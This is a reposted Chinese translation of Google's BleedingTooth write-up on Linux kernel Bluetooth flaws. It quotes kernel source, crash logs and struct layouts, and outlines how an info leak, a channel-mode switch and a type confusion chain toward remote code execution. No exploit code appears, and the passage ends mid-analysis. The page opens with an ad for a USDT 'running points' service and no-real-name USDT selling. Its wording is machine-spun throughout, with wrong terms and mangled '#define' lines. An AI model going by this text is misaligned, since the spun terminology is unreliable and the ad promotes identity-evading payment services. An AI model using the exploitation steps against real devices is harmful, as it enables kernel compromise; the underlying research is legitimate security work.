欢迎进入UG环球官网(环球UG)!

usdt官网(www.payusdt.vip):BleedingTooth: Linux 蓝牙零点击远程代码执行破绽

admin1周前12

USDT第三方支付

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

本文是翻译文章,文章原作者 Andy Nguyen 文章泉源 https://google.github.io/

原文地址: https://google.github.io/security-research/pocs/linux/bleedingtooth/writeup.html,badvibes-heap-based-buffer-overflow-cve-2020-24490

BleedingTooth 是 Linux 蓝牙子系统里零点击破绽的一个聚集,其可以允许未被授权的远程攻击者在近距离内对存在破绽的装备以内核权限执行随便代码

概述

我注重到网络子系统已经通过 syzkaller 举行了普遍的模糊测试。然则像蓝牙这样的子系统没有被很好的笼罩。总体而言,对蓝牙主机攻击面的研究似乎相当有限 —— 大部门公然的蓝牙破绽都只影响固件或者其自己的规范,而且只允许攻击者窃听和/或操作信息。

然则若是攻击者可以完全控制装备会怎么样?演示这个场景最着名的例子是 BlueBorne 和 BlueFrag。我给自己定的目的是研究 Linux 的蓝牙协议栈,拓展 BlueBorne 的发现,而且扩展 syzkaller 去 fuzz /dev/vhci 装备。

这篇博文形貌了我深入研究代码,发现多个高危破绽以及最后在 x86-64 Ubuntu 20.04.1 的目的上组织一个成熟的 RCE 破绽行使链的历程(Video)。

补丁,严重性和平安通告

Google 直接联系了 BlueZ 和 Linux 蓝牙子系统维护者(intel),而不是让 Linux 内核平安团队去协调多方响应这一系列破绽。Intel 随平安通告 INTEL-SA-00435宣布了补丁,然则在信息披露的时刻,此时补丁还没有包罗在任何已宣布的内核版本中。为了促进相同,Linux 内核平安团队应该被通知,以后这种类型的破绽也应该讲述给他们。相同的时间表在文章底部。有关的破绽补丁划分如下:

  • BadVibes(CVE-2020-24490)在 2020 年 7 月 30 日于主线分支提交时被修复。commit
  • BadChoice(CVE-2020-12352)和 BadKarma(CVE-2020-12351)在 2020 年 9 月 25 日于 bluetooth-next 被修复:commits 1,2,3,4

单独来看,这些破绽的严重性从中危到高危,然则将它们合并在一起就意味着严重的平安风险。本文详细先容了这些风险。

破绽

让我们简朴的形貌下蓝牙协议栈。蓝牙芯片使用 HCI(Host Controller Interface)协议与主机(操作系统)通讯。常见的封包如下:

  • 指令封包 —— 由主机发送给控制器
  • 事宜封包 —— 由控制器发送给主机以通知事宜
  • 数据封包 —— 通常传输 L2CAP(逻辑链路控制与适配协议)封包,实现传输层。

像 A2MP(AMP 治理协议)或 SMP(平安治理协议)这样的高级协议都是确立在 L2CAP 之上的。在 Linux 的实现中,所有这些协议都是在没有身份认证的情形下公然的,由于这些协议都存在于内核之中因此相关的破绽就显得至关主要。

BadVibes: 基于堆的缓冲区溢露马脚(CVE-2020-24490)

我通过手动检查 HCI 事宜封包剖析器发现了第一个破绽(于 Linux 内核 4.19 引入)。HCI 事宜封包由蓝牙芯片全心组织并发出,通常并不能被攻击者所控制(除非他们也能控制蓝牙固件)。然而,有两个异常相似的方式,hci_le_adv_report_evt()hci_le_ext_adv_report_evt(),作用是剖析来自远程装备的播报。这些讲述巨细纷歧。

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/hci_event.c
static void hci_le_adv_report_evt(struct hci_dev *hdev, struct sk_buff *skb)
{
    u8 num_reports = skb->data[0];
    void *ptr = &skb->data[1];

    hci_dev_lock(hdev);

    while (num_reports--) {
        struct hci_ev_le_advertising_info *ev = ptr;
        s8 rssi;

        if (ev->length <= HCI_MAX_AD_LENGTH) {
            rssi = ev->data[ev->length];
            process_adv_report(hdev, ev->evt_type, &ev->bdaddr,
                       ev->bdaddr_type, NULL, 0, rssi,
                       ev->data, ev->length);
        } else {
            bt_dev_err(hdev, "Dropping invalid advertising data");
        }

        ptr += sizeof(*ev) + ev->length + 1;
    }

    hci_dev_unlock(hdev);
}
...
static void hci_le_ext_adv_report_evt(struct hci_dev *hdev, struct sk_buff *skb)
{
    u8 num_reports = skb->data[0];
    void *ptr = &skb->data[1];

    hci_dev_lock(hdev);

    while (num_reports--) {
        struct hci_ev_le_ext_adv_report *ev = ptr;
        u8 legacy_evt_type;
        u16 evt_type;

        evt_type = __le16_to_cpu(ev->evt_type);
        legacy_evt_type = ext_evt_type_to_legacy(hdev, evt_type);
        if (legacy_evt_type != LE_ADV_INVALID) {
            process_adv_report(hdev, legacy_evt_type, &ev->bdaddr,
                       ev->bdaddr_type, NULL, 0, ev->rssi,
                       ev->data, ev->length);
        }

        ptr += sizeof(*ev) + ev->length;
    }

    hci_dev_unlock(hdev);
}

注重两个方式是怎么挪用 process_adv_report() 的,后者没有检查 ev->length 是否小于或即是 HCI_MAX_AD_LENGTH=31。函数 process_adv_report() 接着会转达事宜数据和长度来挪用 store_pending_adv_report()

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/hci_event.c
static void process_adv_report(struct hci_dev *hdev, u8 type, bdaddr_t *bdaddr,
                   u8 bdaddr_type, bdaddr_t *direct_addr,
                   u8 direct_addr_type, s8 rssi, u8 *data, u8 len)
{
    ...
    if (!has_pending_adv_report(hdev)) {
        ...
        if (type == LE_ADV_IND || type == LE_ADV_SCAN_IND) {
            store_pending_adv_report(hdev, bdaddr, bdaddr_type,
                         rssi, flags, data, len);
            return;
        }
        ...
    }
    ...
}

最后,store_pending_adv_report() 子程序拷贝数据到 d->last_adv_data

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/hci_event.c
static void store_pending_adv_report(struct hci_dev *hdev, bdaddr_t *bdaddr,
                     u8 bdaddr_type, s8 rssi, u32 flags,
                     u8 *data, u8 len)
{
    struct discovery_state *d = &hdev->discovery;
    ...
    memcpy(d->last_adv_data, data, len);
    d->last_adv_data_len = len;
}

考察 struct hci_dev,我们可以看到缓冲区 last_adv_data 的长度与 HCI_MAX_AD_LENGTH 的巨细相同,都不足以容纳扩展的广播数据。剖析器理论上可以吸收最多 255 字节的数据包并将其路由到该方式。若是可能的话,我们可以溢出 last_adv_data 并污染成员直到偏移 0xbaf。

// pahole -E -C hci_dev --hex bluetooth.ko
struct hci_dev {
    ...
    struct discovery_state {
        ...
        /* typedef u8 -> __u8 */ unsigned char      last_adv_data[31];           /* 0xab0  0x1f */
        ...
    } discovery; /* 0xa68  0x88 */
    ...
    struct list_head {
        struct list_head * next;                                                 /* 0xb18   0x8 */
        struct list_head * prev;                                                 /* 0xb20   0x8 */
    } mgmt_pending; /* 0xb18  0x10 */
    ...
    /* size: 4264, cachelines: 67, members: 192 */
    /* sum members: 4216, holes: 17, sum holes: 48 */
    /* paddings: 10, sum paddings: 43 */
    /* forced alignments: 1 */
    /* last cacheline: 40 bytes */
} __attribute__((__aligned__(8)));

然而,hci_le_ext_adv_report_evt() 是否能够吸收云云伟大的讲述?伟大的播报很可能是预期内的,由于扩展广播剖析器似乎有意显式删除了 31 字节的检查。另外,由于它在代码中很靠近 hci_le_adv_report_evt() ,这检查不太可能被错误的遗忘。事实确实云云,查看规范后,我们可以看到从 31 字节扩展到 255 字节是蓝牙五代的一个主要特征:

回忆起蓝牙 4.0,广播有用载荷最大长度为 31 字节。在蓝牙 5 中,我们通过添加分外的广播信道和新的广播 PDU,将有用载荷增添到了 255 字节。

泉源:https://www.bluetooth.com/blog/exploring-bluetooth5-whats-new-in-advertising/

因此该破绽只有在受害者机械是蓝牙 5 芯片(这相对来说是一个“新”手艺,只有在较新的条记本上可用)以及受害者起劲扫描广播数据(例如打开蓝牙设置而且搜索周围的装备)时才会触发。

使用两台支持蓝牙 5 的装备,我们可以很容易地确认破绽而且考察到一个 panic报错类似于:

[  118.490999] general protection fault: 0000 [,1] SMP PTI
[  118.491006] CPU: 6 PID: 205 Comm: kworker/u17:0 Not tainted 5.4.0-37-generic ,41-Ubuntu
[  118.491008] Hardware name: Dell Inc. XPS 15 7590/0CF6RR, BIOS 1.7.0 05/11/2020
[  118.491034] Workqueue: hci0 hci_rx_work [bluetooth]
[  118.491056] RIP: 0010:hci_bdaddr_list_lookup+0x1e/0x40 [bluetooth]
[  118.491060] Code: ff ff e9 26 ff ff ff 0f 1f 44 00 00 0f 1f 44 00 00 55 48 8b 07 48 89 e5 48 39 c7 75 0a eb 24 48 8b 00 48 39 f8 74 1c 44 8b 06 <44> 39 40 10 75 ef 44 0f b7 4e 04 66 44 39 48 14 75 e3 38 50 16 75
[  118.491062] RSP: 0018:ffffbc6a40493c70 EFLAGS: 00010286
[  118.491066] RAX: 4141414141414141 RBX: 000000000000001b RCX: 0000000000000000
[  118.491068] RDX: 0000000000000000 RSI: ffff9903e76c100f RDI: ffff9904289d4b28
[  118.491070] RBP: ffffbc6a40493c70 R08: 0000000093570362 R09: 0000000000000000
[  118.491072] R10: 0000000000000000 R11: ffff9904344eae38 R12: ffff9904289d4000
[  118.491074] R13: 0000000000000000 R14: 00000000ffffffa3 R15: ffff9903e76c100f
[  118.491077] FS:  0000000000000000(0000) GS:ffff990434580000(0000) knlGS:0000000000000000
[  118.491079] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  118.491081] CR2: 00007feed125a000 CR3: 00000001b860a003 CR4: 00000000003606e0
[  118.491083] Call Trace:
[  118.491108]  process_adv_report+0x12e/0x560 [bluetooth]
[  118.491128]  hci_le_meta_evt+0x7b2/0xba0 [bluetooth]
[  118.491134]  ? __wake_up_sync_key+0x1e/0x30
[  118.491140]  ? sock_def_readable+0x40/0x70
[  118.491143]  ? __sock_queue_rcv_skb+0x142/0x1f0
[  118.491162]  hci_event_packet+0x1c29/0x2a90 [bluetooth]
[  118.491186]  ? hci_send_to_monitor+0xae/0x120 [bluetooth]
[  118.491190]  ? skb_release_all+0x26/0x30
[  118.491207]  hci_rx_work+0x19b/0x360 [bluetooth]
[  118.491211]  ? __schedule+0x2eb/0x740
[  118.491217]  process_one_work+0x1eb/0x3b0
[  118.491221]  worker_thread+0x4d/0x400
[  118.491225]  kthread+0x104/0x140
[  118.491229]  ? process_one_work+0x3b0/0x3b0
[  118.491232]  ? kthread_park+0x90/0x90
[  118.491236]  ret_from_fork+0x35/0x40

这个报错意味着我们可以完全控制 struct hci_dev。一个有趣的可用来污染的指针是 mgmt_pending->next,由于它就是 struct mgmt_pending_cmd 类型的,其包罗了函数指针 cmd_complete()

// pahole -E -C mgmt_pending_cmd --hex bluetooth.ko
struct mgmt_pending_cmd {
    ...
    int                        (*cmd_complete)(struct mgmt_pending_cmd *, u8);       /*  0x38   0x8 */

    /* size: 64, cachelines: 1, members: 8 */
    /* sum members: 62, holes: 1, sum holes: 2 */
};

举个例子,这个处置例程可以通过中止 HCI 毗邻来触发。然而,为了能够乐成重定向到 mgmt_pending->next 指针,我们需要一个分外的信息泄露破绽,我们将在下一章节学习这个。

BadChoice: 基于栈的信息泄露(CVE-2020-12352)

BadVibes 破绽还不足以壮大到可以转化成随便的 读/写 原语,而且似乎没有设施用它来泄露受害者的内存结构。缘故原由是,唯一可以被污染损坏的成员指向了循环链表。顾名思义,这些数据结构是循环的,因此我们在没有设施确保它们最终指向它们最先的地方之前,我们无法改变它们。当受害者的内存结构是随机的时刻,想要实现破绽行使就很难题。虽然内核中有一些资源是在静态地址中分配的,但它们的内容很可能是不能控制的。因此,为了能够行使 BadVibes,我们首先需要对内存结构有一个看法。更详细地说,我们需要泄露一些受害者的内存地址,其指向的内容我们要能控制或者至少能够展望。

通常来说,信息泄露是通过越界接见来实现的,使用未初始化的变量或者,最近盛行的,通过执行侧信道/时序攻击。后者可能对照难实现,由于传输的历程会有误差。相反,我们聚焦关注一最先的两个有破绽的类实现,遍历所有的可将信息发送回攻击者的子程序,查看它们之中是否有越界数据或者未初始化的内存存在。

我在剖析 a2mp_send() 挪用的时刻在 A2MP 协议的 A2MP_GETINFO_REQ 指令中发现了第二个破绽。这个破绽在 Linux 内核 3.6 的时刻就已经存在了,而且若是 CONFIG_BT_HS=y 该破绽是可行使的,而 CONFIG_BT_HS 默认是开启的。

让我们来剖析一下被 A2MP_GETINFO_REQ 指令挪用的子程序 a2mp_getinfo_req()

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/a2mp.c
static int a2mp_getinfo_req(struct amp_mgr *mgr, struct sk_buff *skb,
                struct a2mp_cmd *hdr)
{
    struct a2mp_info_req *req  = (void *) skb->data;
    ...
    hdev = hci_dev_get(req->id);
    if (!hdev || hdev->dev_type != HCI_AMP) {
        struct a2mp_info_rsp rsp;

        rsp.id = req->id;
        rsp.status = A2MP_STATUS_INVALID_CTRL_ID;

        a2mp_send(mgr, A2MP_GETINFO_RSP, hdr->ident, sizeof(rsp),
              &rsp);

        goto done;
    }
    ...
}

该子程序通过使用 HCI 装备 id 来请求 AMP 控制器的信息。然而,若是装备 id 是无效的或者不是 HCI_AMP 类型,错误路径会被提取,意味着受害者机械会发还给我们 status A2MP_STATUS_INVALID_CTRL_ID。遗憾的是,struct a2mp_info_rsp 由许多的成员组成而不仅仅是 id 和 status。而且我们可以看到,响应的结构并没有被完全初始化。因此,内核栈的 16 字节可以被攻击者泄露,其中也许包罗了受害者机械的敏感信息。

// pahole -E -C a2mp_info_rsp --hex bluetooth.ko
struct a2mp_info_rsp {
    /* typedef __u8 */ unsigned char              id;                                /*     0   0x1 */
    /* typedef __u8 */ unsigned char              status;                            /*   0x1   0x1 */
    /* typedef __le32 -> __u32 */ unsigned int               total_bw;               /*   0x2   0x4 */
    /* typedef __le32 -> __u32 */ unsigned int               max_bw;                 /*   0x6   0x4 */
    /* typedef __le32 -> __u32 */ unsigned int               min_latency;            /*   0xa   0x4 */
    /* typedef __le16 -> __u16 */ short unsigned int         pal_cap;                /*   0xe   0x2 */
    /* typedef __le16 -> __u16 */ short unsigned int         assoc_size;             /*  0x10   0x2 */

    /* size: 18, cachelines: 1, members: 7 */
    /* last cacheline: 18 bytes */
} __attribute__((__packed__));

通过在发送 A2MP_GETINFO_REQ 之前发送有趣的指令来填充栈帧可以行使这个破绽。这里有趣的指令指的是那些将指针放在重用 a2mp_getinfo_req() 函数后的统一个栈帧中的指令。通过这种做法,未初始化的变量可能会包罗先前推入栈的指针。

注重,以 CONFIG_INIT_STACK_ALL_PATTERN=y 编译的内核不太容易受到这样的攻击。举个例子,在 ChromeOS 上,BadChoice 只能返回 0xAA。然而,这个选项在盛行的 Linux 刊行版上似乎并没有默认启用。

BadKarma: 基于堆类型的混淆(CVE-2020-12351)

我在实验去触发 BadChoice 确认其可行使时发现了第三个破绽。受害者的机械意外溃逃了并输出以下挪用栈跟踪:

[  445.440736] general protection fault: 0000 [,1] SMP PTI
[  445.440740] CPU: 4 PID: 483 Comm: kworker/u17:1 Not tainted 5.4.0-40-generic ,44-Ubuntu
[  445.440741] Hardware name: Dell Inc. XPS 15 7590/0CF6RR, BIOS 1.7.0 05/11/2020
[  445.440764] Workqueue: hci0 hci_rx_work [bluetooth]
[  445.440771] RIP: 0010:sk_filter_trim_cap+0x6d/0x220
[  445.440773] Code: e8 18 e1 af ff 41 89 c5 85 c0 75 62 48 8b 83 10 01 00 00 48 85 c0 74 56 49 8b 4c 24 18 49 89 5c 24 18 4c 8b 78 18 48 89 4d b0 <41> f6 47 02 08 0f 85 41 01 00 00 0f 1f 44 00 00 49 8b 47 30 49 8d
[  445.440776] RSP: 0018:ffffa86b403abca0 EFLAGS: 00010286
[  445.440778] RAX: ffffffffc071cc50 RBX: ffff8e95af6d7000 RCX: 0000000000000000
[  445.440780] RDX: 0000000000000000 RSI: ffff8e95ac533800 RDI: ffff8e95af6d7000
[  445.440781] RBP: ffffa86b403abd00 R08: ffff8e95b452f0e0 R09: ffff8e95b34072c0
[  445.440782] R10: ffff8e95acd57818 R11: ffff8e95b456ae38 R12: ffff8e95ac533800
[  445.440784] R13: 0000000000000000 R14: 0000000000000001 R15: 30478b4800000208
[  445.440786] FS:  0000000000000000(0000) GS:ffff8e95b4500000(0000) knlGS:0000000000000000
[  445.440788] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  445.440789] CR2: 000055f371aa94a8 CR3: 000000022dc0a005 CR4: 00000000003606e0
[  445.440791] Call Trace:
[  445.440817]  ? __l2cap_chan_add+0x88/0x1c0 [bluetooth]
[  445.440838]  l2cap_data_rcv+0x351/0x510 [bluetooth]
[  445.440857]  l2cap_data_channel+0x29f/0x470 [bluetooth]
[  445.440875]  l2cap_recv_frame+0xe5/0x300 [bluetooth]
[  445.440878]  ? skb_release_all+0x26/0x30
[  445.440896]  l2cap_recv_acldata+0x2d2/0x2e0 [bluetooth]
[  445.440914]  hci_rx_work+0x186/0x360 [bluetooth]
[  445.440919]  process_one_work+0x1eb/0x3b0
[  445.440921]  worker_thread+0x4d/0x400
[  445.440924]  kthread+0x104/0x140
[  445.440927]  ? process_one_work+0x3b0/0x3b0
[  445.440929]  ? kthread_park+0x90/0x90
[  445.440932]  ret_from_fork+0x35/0x40

查看一下 l2cap_data_rcv(),当 ERTM(增强型重传模式)或者流模式被使用时,我们可以看到 sk_filter() 被挪用(类似于 TCP):

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/l2cap_core.c
static int l2cap_data_rcv(struct l2cap_chan *chan, struct sk_buff *skb)
{
    ...
    if ((chan->mode == L2CAP_MODE_ERTM ||
         chan->mode == L2CAP_MODE_STREAMING) && sk_filter(chan->data, skb))
        goto drop;
    ...
}

这确实就是 A2MP 信道的情形(信道可以与网络端口做对照):

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/a2mp.c
static struct l2cap_chan *a2mp_chan_open(struct l2cap_conn *conn, bool locked)
{
    struct l2cap_chan *chan;
    int err;

    chan = l2cap_chan_create();
    if (!chan)
        return NULL;
    ...
    chan->mode = L2CAP_MODE_ERTM;
    ...
    return chan;
}
...
static struct amp_mgr *amp_mgr_create(struct l2cap_conn *conn, bool locked)
{
    struct amp_mgr *mgr;
    struct l2cap_chan *chan;

    mgr = kzalloc(sizeof(*mgr), GFP_KERNEL);
    if (!mgr)
        return NULL;
    ...
    chan = a2mp_chan_open(conn, locked);
    if (!chan) {
        kfree(mgr);
        return NULL;
    }

    mgr->a2mp_chan = chan;
    chan->data = mgr;
    ...
    return mgr;
}

查看 amp_mgr_create()问题所在异常清晰。即,chan->data 的类型是 struct amp_mgr,鉴于 sk_filter() 获取一个 struct sock 类型的参数,这意味着我们有了一个设计上的远程类型混淆破绽。这个混淆破绽在 Linux 内核 4.8 引入,到现在为止仍然没有被更改。

行使

BadChoice 破绽可以用 BadVibesBadKarma 破绽来链接最终实现 RCE。在这篇博文中,我们将只会关注使用 BadKarma 的方式,有以下理由:

  • 这并不仅限于蓝牙 5。
  • 这不需要受害者去扫描。
  • 这可能实现特定装备的针对性攻击

BadVibes 攻击,换句话说,只是一个广播,因此只有一台机械会被乐成行使,其余监听到统一条新闻的装备都将溃逃。

绕过 BadKarma

取笑的是,为了行使 BadKarma,我们首先得脱节 BadKarma。回首适才我们有一个设计上的类型混淆破绽,只要 A2MP 信道被设置为 ERTM/流模式,在 sk_filter() 中不触发 panic 的情形下,我们就不能通过 l2cap_data_rcv() 到达 A2MP 的子程序。

查看 l2cap_data_channel(),我们会发现接纳差其余路由的唯逐一个途径是重新设置信道模式为 L2CAP_MODE_BASIC。这将“基本上”允许我们直接挪用A2MP 吸收处置程序:

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/l2cap_core.c
static void l2cap_data_channel(struct l2cap_conn *conn, u16 cid,
                   struct sk_buff *skb)
{
    struct l2cap_chan *chan;

    chan = l2cap_get_chan_by_scid(conn, cid);
    ...
    switch (chan->mode) {
    ...
    case L2CAP_MODE_BASIC:
        /* If socket recv buffers overflows we drop data here
         * which is *bad* because L2CAP has to be reliable.
         * But we don't have any other choice. L2CAP doesn't
         * provide flow control mechanism. */

        if (chan->imtu < skb->len) {
            BT_ERR("Dropping L2CAP data: receive buffer overflow");
            goto drop;
        }

        if (!chan->ops->recv(chan, skb))
            goto done;
        break;

    case L2CAP_MODE_ERTM:
    case L2CAP_MODE_STREAMING:
        l2cap_data_rcv(chan, skb);
        goto done;
    ...
    }
    ...
}

然而,重新设置信道模式是可能的吗?凭证规范,对于 A2MP 信道使用 ERTM 或者流模式是强制性的。

对于任何确立在 AMP 上的 L2CAP 信道,蓝牙焦点通过强制使用增强型重传模式或者流模式来保持蓝牙焦点上的协媾和设置一定水平上的可靠性。

泉源:https://www.bluetooth.org/DocMan/handlers/DownloadDoc.ashx?doc_id=421043

由于一些缘故原由,在规范中并没有形貌这个事实,不外 Linux 的实现中确实允许我们将需要的信道模式封装在 L2CAP_CONF_UNACCEPT 设置响应中来实现从随便的信道模式切换到 L2CAP_MODE_BASIC

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/l2cap_core.c`
static inline int l2cap_config_rsp(struct l2cap_conn *conn,
                   struct l2cap_cmd_hdr *cmd, u16 cmd_len,
                   u8 *data)
{
    struct l2cap_conf_rsp *rsp = (struct l2cap_conf_rsp *)data;
    ...
    scid   = __le16_to_cpu(rsp->scid);
    flags  = __le16_to_cpu(rsp->flags);
    result = __le16_to_cpu(rsp->result);
    ...
    chan = l2cap_get_chan_by_scid(conn, scid);
    if (!chan)
        return 0;

    switch (result) {
    ...
    case L2CAP_CONF_UNACCEPT:
        if (chan->num_conf_rsp <= L2CAP_CONF_MAX_CONF_RSP) {
            ...
            result = L2CAP_CONF_SUCCESS;
            len = l2cap_parse_conf_rsp(chan, rsp->data, len,
                           req, sizeof(req), &result);
            ...
        }
        fallthrough;
    ...
    }
    ...
}

这个函数会挪用子程序 l2cap_parse_conf_rsp() 。若是选项类型 L2CAP_CONF_RFC 被指定,而且当前的信道模式不是 L2CAP_MODE_BASIC 就有时机更改为我们想要的:

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/l2cap_core.c
static int l2cap_parse_conf_rsp(struct l2cap_chan *chan, void *rsp, int len,
                void *data, size_t size, u16 *result)
{
    ...
    while (len >= L2CAP_CONF_OPT_SIZE) {
        len -= l2cap_get_conf_opt(&rsp, &type, &olen, &val);
        if (len < 0)
            break;

        switch (type) {
        ...
        case L2CAP_CONF_RFC:
            if (olen != sizeof(rfc))
                break;
            memcpy(&rfc, (void *)val, olen);
            ...
            break;
        ...
        }
    }

    if (chan->mode == L2CAP_MODE_BASIC && chan->mode != rfc.mode)
        return -ECONNREFUSED;

    chan->mode = rfc.mode;
    ...
}

自然而然的问题是,在发送设置响应之前,我们是否首先需要吸收来自受害者的设置请求?这似乎是协议的一个弱点 —— 谜底是否认的。此外,无论受害者与我们若何谈判,我们可以发送回一个 L2CAP_CONF_UNACCEPT 响应,受害者将会愉快地接受我们的建议。

通过设置响应,我们现在能够到达 A2MP 指令而且能够行使 BadChoice 取回所有我们需要的信息(看之后的章节)。一旦我们准备去触发这个类型混淆,我们可以简朴地通过断开和毗邻信道来重新确立 A2MP 信道,并将信道模式设置回 BadKarma 所需的 ERTM。

探索 sk_filter()

根据我们的明白,BadKarma 的问题是将一个 struct amp_mgr 工具转达给了 sk_filter(),然而预期的工具是 struct sock。换句话说,在 struct sock 中的字段错误地映射到了 struct amp_mgr 的字段。因此,这将导致解引用无效的指针最终造成 panic 错误。回首之前看到的 panic 日志,这里纪录了发生了什么,直接导致了 BadKarma 的发现。

我们能否控制指针解引用,或者说控制其他在 struct amp_mgr 内的成员以影响 sk_filter() 的代码流?让我们查看一下 sk_filter() 并追踪 struct sock *sk 的用法去明白子程序中相关的成员。

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/filter.h
static inline int sk_filter(struct sock *sk, struct sk_buff *skb)
{
    return sk_filter_trim_cap(sk, skb, 1);
}
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/core/filter.c
int sk_filter_trim_cap(struct sock *sk, struct sk_buff *skb, unsigned int cap)
{
    int err;
    struct sk_filter *filter;

    /*
     * If the skb was allocated from pfmemalloc reserves, only
     * allow SOCK_MEMALLOC sockets to use it as this socket is
     * helping free memory
     */
    if (skb_pfmemalloc(skb) && !sock_flag(sk, SOCK_MEMALLOC)) {
        NET_INC_STATS(sock_net(sk), LINUX_MIB_PFMEMALLOCDROP);
        return -ENOMEM;
    }
    err = BPF_CGROUP_RUN_PROG_INET_INGRESS(sk, skb);
    if (err)
        return err;

    err = security_sock_rcv_skb(sk, skb);
    if (err)
        return err;

    rcu_read_lock();
    filter = rcu_dereference(sk->sk_filter);
    if (filter) {
        struct sock *save_sk = skb->sk;
        unsigned int pkt_len;

        skb->sk = sk;
        pkt_len = bpf_prog_run_save_cb(filter->prog, skb);
        skb->sk = save_sk;
        err = pkt_len ? pskb_trim(skb, max(cap, pkt_len)) : -EPERM;
    }
    rcu_read_unlock();

    return err;
}

sk 的第一个用途是在 sock_flag(),只管该函数只是检查一些标识位,仅在 skb_pfmemalloc() 返回 true 时发生。相反,让我们看一下 BPF_CGROUP_RUN_PROG_INET_INGRESS(),看看它对套接字结构做了什么:

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/bpf-cgroup.h
,define BPF_CGROUP_RUN_PROG_INET_INGRESS(sk, skb)                 \
({                                        \
    int __ret = 0;                                \
    if (cgroup_bpf_enabled)                           \
        __ret = __cgroup_bpf_run_filter_skb(sk, skb,              \
                            BPF_CGROUP_INET_INGRESS); \
                                          \
    __ret;                                    \
})
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/kernel/bpf/cgroup.c
int __cgroup_bpf_run_filter_skb(struct sock *sk,
                struct sk_buff *skb,
                enum bpf_attach_type type)
{
    ...
    if (!sk || !sk_fullsock(sk))
        return 0;

    if (sk->sk_family != AF_INET && sk->sk_family != AF_INET6)
        return 0;
    ...
}

同样地,sk_fullsock() 也会检查一些标志位,没有做任何有趣的事情。进一步探索,注重,为了继续运行 sk->sk_family 必须是 AF_INET=2 或者 AF_INET6=10。该字段位于 struct sock 偏移 0x10 处:

// pahole -E -C sock --hex bluetooth.ko
struct sock {
    struct sock_common {
        ...
        short unsigned int skc_family;                                           /*  0x10   0x2 */
        ...
    } __sk_common; /*     0  0x88 */
    ...
    struct sk_filter *         sk_filter;                                            /* 0x110   0x8 */
    ...
    /* size: 760, cachelines: 12, members: 88 */
    /* sum members: 747, holes: 4, sum holes: 8 */
    /* sum bitfield members: 40 bits (5 bytes) */
    /* paddings: 1, sum paddings: 4 */
    /* forced alignments: 1 */
    /* last cacheline: 56 bytes */
} __attribute__((__aligned__(8)));

考察 struct amp_mgr 的偏移 0x10 处,我们熟悉到该字段映射到了 struct l2cap_conn 指针:

// pahole -E -C amp_mgr --hex bluetooth.ko
struct amp_mgr {
    ...
    struct l2cap_conn *        l2cap_conn;                                           /*  0x10   0x8 */
    ...
    /* size: 112, cachelines: 2, members: 11 */
    /* sum members: 110, holes: 1, sum holes: 2 */
    /* last cacheline: 48 bytes */
};

由于这是一个指向堆工具的指针,堆工具与分配巨细对齐(最小 32 字节),这意味着该指针的较低字节不能具有 __cgroup_bpf_run_filter_skb() 所要求的值 2 或 10。经证实,我们知道这个子程序永远返回 0 无论其他字段有什么值。同样地,子程序 security_sock_rcv_skb() 要求相同的条件,否则返回 0 。

这使得 sk->sk_filter 成为唯一可能被污染损坏的成员。我们之后会看到它将会在控制 struct sk_filter 上很有用,然则首先,注重 sk_filter 位于偏移 0x110 ,然而 struct amp_mgr 的巨细只有 112 = 0x70 字节。岂非这不是我们所能控制的吗?既一定也否认 —— 通常情形下我们不能控制它,然而若是我们有一个途径去组织堆,这样就很容易完全控制指针了。仔细地说,struct amp_mgr 巨细有 112 字节(在 65 到 128 之间),因此它被分配在 kmalloc-128 slab 中。通常情形下,在 slab 的内存块不包罗像前面块头一样的元信息,由于目的是最小化碎片。同时,内存块是延续的,因此为了控制位于偏移 0x110 的指针,我们必须取得一个堆群,那里有我们想要的位于 struct amp_mgr 之后第二个块的 0x10 偏移处的指针。

寻找堆原语

为了能够组织 kmalloc-128 slab,我们需要一个指令能够分配(最好是能够控制)65 —— 128 字节的内存。与其他 L2CAP 实现差异,Linux 实现中堆的使用异常少。快速搜索 /net/bluetooth/ 中的 kmalloc()kzalloc() 没有什么用 —— 或者至少没有什么能够控制或以跨过多个下令的形式存在。我们需要的原语是一个可以分配随便字节的内存,并拷贝攻击者控制的数据,在我们释放它之前可以一直保留。

这听起来像是 kmemdup(),对吗?出人意料的是,A2MP 协议正好给我们提供了这样一个原语。我们可以提议一个 A2MP_GETAMPASSOC_RSP 指令来使用 kmemdup() 去复制内存而且保留内存地址于一个控制的结构:

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/a2mp.c
static int a2mp_getampassoc_rsp(struct amp_mgr *mgr, struct sk_buff *skb,
                struct a2mp_cmd *hdr)
{
    ...
    u16 len = le16_to_cpu(hdr->len);
    ...
    assoc_len = len - sizeof(*rsp);
    ...
    ctrl = amp_ctrl_lookup(mgr, rsp->id);
    if (ctrl) {
        u8 *assoc;

        assoc = kmemdup(rsp->amp_assoc, assoc_len, GFP_KERNEL);
        if (!assoc) {
            amp_ctrl_put(ctrl);
            return -ENOMEM;
        }

        ctrl->assoc = assoc;
        ctrl->assoc_len = assoc_len;
        ctrl->assoc_rem_len = assoc_len;
        ctrl->assoc_len_so_far = 0;

        amp_ctrl_put(ctrl);
    }
